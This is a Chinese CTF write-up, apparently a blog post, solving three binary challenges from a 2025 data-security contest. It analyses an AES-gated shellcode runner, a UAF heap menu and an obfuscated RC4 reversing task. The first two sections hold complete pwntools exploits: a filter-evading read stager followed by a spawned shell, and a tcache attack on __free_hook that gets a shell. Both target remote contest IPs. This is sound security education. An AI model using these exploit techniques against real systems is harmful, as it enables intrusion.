[2025数字中国 数据安全产业积分争夺赛]二进制方向题解

scsc

程序分析

静态编译程序,导入libc签名文件恢复符号信息,经过尝试发现libc-2.23的签名文件识别的函数比较多

image

查看main函数,这里存在一个栈上执行shellcode(我IDA8.3得把call rax给nop掉,不然会提示call analysis failed)

image

nop后反编译的伪代码如下

image

跟进函数sub_400C6E,发现很像AES的初始化函数,密钥v5=“862410c4e93b77b4”

这里要注意一下这个代码++LOBYTE(v5[2]);修改了密钥,所以实际上密钥v5=“862410c4f93b77b4”

image

接下来跟进函数sub_401D92,一开始我以为是AES-ECB加密,但是与AES源C代码对比发现加密函数内的sub_4019F6函数其实是AES::DecryptBlock,也就是解密算法

标记的地方很明显是AES算法中的AddRoundKey

image

我们来对比一下AES加密(右)和解密(左)代码的区别,加密时AddRoundKey是在每轮加密的最后,而解密时则是在InvMixColumns

image

利用思路

那么程序的逻辑如下

  • 从用户读取输入(511字节)
  • 将数据进行AES-ECB解密
  • 检查数据中是否有“0MOyhjlcit1ZkbNRnCHaG”这些字符
    • 如果有则退出程序
  • 将输入的数据作为shellcode执行

因为把字符’H’,'R’等过滤了,所以一些mov,xor,add甚至一部分pop指令(例如pop rdx)都不能用

我这里的利用思路是观察可用的寄存器然后构造一次read读到栈上再执行shellcode

搓shellcode的时候写了个脚本测试能不能过check

from pwn import *
context(arch = "amd64")
filter = b"0MOyhjlcit1ZkbNRnCHaG"
shellcode="""
push rax
pop r14
push r15
push r15
pop rdi
pop rax
push r14
pop rsi
and si, 0x1000
push r11
pop rdx
or dx,0x100
syscall
jmp rsi
"""
payload = asm(shellcode)
print(disasm(payload))
for i in range(len(payload)):
    if payload[i] in filter:
        print("bad code in ", hex(i))
        exit(1)
print("success!")

效果如下

image

exp

from pwn import *
from Crypto.Cipher import AES
import struct

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
uheap   = lambda    :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
#context.terminal = ['konsole', '-e', 'sh', '-c']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"

#p = process("./pwn")
elf = ELF(file, False)
p = remote("47.117.36.95", 32857)
cmd="b *0x400BBD\nb *0x400C3A"


key = b"862410c4f93b77b4"
cipher = b'a'*16
aes = AES.new(key, AES.MODE_ECB)
shellcode="""
push rax
pop r14
push r15
push r15
pop rdi
pop rax
push r14
pop rsi
and si, 0x1000
push r11
or dx,0x100
syscall
jmp rsi
"""
payload = asm(shellcode)
log("len", len(payload))
#debug(cmd)
#pause()
sa("magic data:\n", aes.encrypt(payload.ljust(0x30, b'\x90')))
sleep(0.7)
sl(asm(shellcraft.sh()))

ia()

boh

一道白给的2.31菜单堆题,delete有UAF,还能直接show chunk

image

利用思路

利用unsortedbin泄露libc,然后tcachebin attack打free_hook就能get shell

exp

from pwn import *
import struct

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s   :p.success('%s -> 0x%x' % (s, eval(s)))
log = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"

def menu(idx):
    sla("->>>>>> ", str(idx))

def add(size):
    menu(1)
    sla("much storage:", str(size))

def free(idx):
    menu(2)
    sla("storage space: ", str(idx))

def show(idx):
    menu(3)
    sla("show data: ", str(idx))

def edit(idx, cont):
    menu(4)
    sla("storage space:", str(idx))
    sla("data:", cont)

#p = process(file)
elf = ELF(file)
libc = ELF(elf.libc.path)
p = remote("47.116.167.227", 32801)

for i in range(10):
    add(0x90)

for i in range(8):
    free(i)

edit(8, "/bin/sh\x00")
show(7)
rl()
libc.address= u64(p.recvuntil("\n")[-7:-1].ljust(8, b'\x00')) - 0x1ecbe0
log("libcbase", libc.address)
free_hook = libc.sym["__free_hook"]
edit(6, p64(free_hook))

add(0x90)
add(0x90)
#debug()
#pause()
edit(11, p64(libc.sym["system"]))

free(8)
ia()

re0c814cd1

这道题是赛后出的,最后一个半小时放题时间还是比较紧张的,写这个题的时候也挺粗心的,耽误了好多时间…

程序分析

程序有一堆的花指令,一开始想手动去花发现有点多,然后写了个简单的去花脚本,把程序.text段的都去一下

import idautils
import idc
import idaapi

start = 0x401000
end = 0x401627
while (start < end):
    if ((get_wide_byte(start) == 0xeb) and (get_wide_byte(start + 1) == 0xff)):
        ida_bytes.patch_byte(start, 0x90)
        ida_bytes.patch_byte(start + 1, 0x90)
        ida_bytes.patch_byte(start + 2, 0x90)
        start += 3
        continue
    if ((get_wide_byte(start) == 0x66) and (get_wide_byte(start+1) == 0x41) and (get_wide_byte(start+2) == 0xbf)):
        idc.patch_qword(start, 0x9090909090909090)
        idc.patch_word(start+8, 0x9090)
        start += 10
        
    start+=1
        
print('OK!')

但是要注意这个并不能去除程序内所有的花指令,有些还是需要手动去一下。把花指令去掉之后程序的主流程如下(重命名了一部分函数)

逻辑很简单就是循环读取info_0c743b3.ori文件每行然后加密再写入info_0c743b3.ori.en文件

image

跟进encode函数。这一段代码首先是

  1. memcpy将当前行复制到byte_404240,然后分配一页内存并将权限设置为RWX

  2. 接着从程序的.data段读取shellcode直接作为函数来调用并将结果写到byte_404240[i],参数也是byte_404240[i]

  3. 循环执行第二步将每个字符都处理一遍

image

现在我们来分析他执行的shellcode是什么,按c直接转换为代码

image

跟进这个call,其实这段代码就是把call指令后面的0x3A个字节xor了一下,然后jmp r14跳回来

image

写个脚本还原真实执行的指令,前面的两个push和一个call就相当于花指令了,我们直接nop掉,然后按P创建函数

import idautils
import idc
import idaapi

start = 0x404088
end = start+0x3a
while (start <= end):
    ida_bytes.patch_byte(start, get_wide_byte(start) ^ 0xd3)
    start+=1
print("Done!")

image

反编译伪代码如下

image

我们分析之后的代码

image

这里的逻辑挺简单,是个魔改的rc4算法,秘钥是”103906d6c9429372”,标记的地方是它改动的点

image

image

注意最后那个tohex函数也不是简单的转16进制,他改了一下映射表,所以我们也要处理一下

image

解密脚本

因为题目要求是提交第22行第2列数据内容作为flag,而程序的加密不是将整个文件加密而是逐行加密,所以我们用notopad等工具找出第22行的数据就好了

image

然后逆程序的转16进制操作

mapping = "208EC37FD94165AB"
dict = {char: idx for idx, char in enumerate(mapping)}
encrypted = "B6195088A670CC4646C057A041C86F0E63728291E5D43388D70767154AFD02F836E8AEBDF83F67EEFC9B244399C379"

bytes_list = []
for i in range(0, len(encrypted), 2):
    high_char = encrypted[i]
    low_char = encrypted[i+1]
    high = dict[high_char]
    low = dict[low_char]
    byte = (high << 4) | low
    bytes_list.append(byte)

original_hex = bytes(bytes_list).hex().upper()
print(original_hex)

得到结果FCB9D122EC6144ACAC41D6E1AB42C713C560209B3D8A55228616C6BDAE7810725C32E3F87257C633749F0AA5994569

然后拖到cyberchef转成c风格

image

写解密脚本

#include <stdio.h>
#include <stdint.h>
#include <string.h>

typedef unsigned char byte;
void rc4_init(unsigned int *s, unsigned char *key, unsigned long Len_k)
{
	int i = 0, j = 0;
	unsigned char tmp = 0;
	for (i = 0; i < 256; i++)
	{
		s[i] = i;
	}
	for (i = 0; i < 256; i++)
	{
		j = (j + s[i] + key[i % Len_k] + 4) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
	}
}
void rc4_crypt(unsigned char *Data, unsigned long Len_D, unsigned char *key, unsigned long Len_k)
{
	unsigned int s[256];
	rc4_init(s, key, Len_k);
	int i = 0, j = 0, t = 0;
	unsigned long k = 0;
	unsigned char tmp;
	for (k = 0; k < Len_D; k++)
	{
		i = (i + 1) % 256;
		j = (j + s[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
		t = (s[i] + s[j] + 15) % 256;
		Data[k] ^=  s[t];
	}
}

int main() 
{
	unsigned char enc[] = {0xfc,0xb9,0xd1,0x22,0xec,0x61,0x44,0xac,0xac,0x41,
		0xd6,0xe1,0xab,0x42,0xc7,0x13,0xc5,0x60,0x20,0x9b,
		0x3d,0x8a,0x55,0x22,0x86,0x16,0xc6,0xbd,0xae,0x78,
		0x10,0x72,0x5c,0x32,0xe3,0xf8,0x72,0x57,0xc6,0x33,
		0x74,0x9f,0x0a,0xa5,0x99,0x45,0x69};
    char key[] = "103906d6c9429372";
    rc4_crypt(enc, sizeof(enc), key, 16);
	for(int i = 0;i < sizeof(enc);i++)
	{
		enc[i] = (enc[i]-7) ^ 0xb2;
		unsigned char tmp = ((enc[i] & 0xf) << 4) | ((enc[i] >> 4) & 0xf);
		enc[i] = tmp + 1;
	}
	puts(enc);
}

image

得到flag 727659200522077132

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值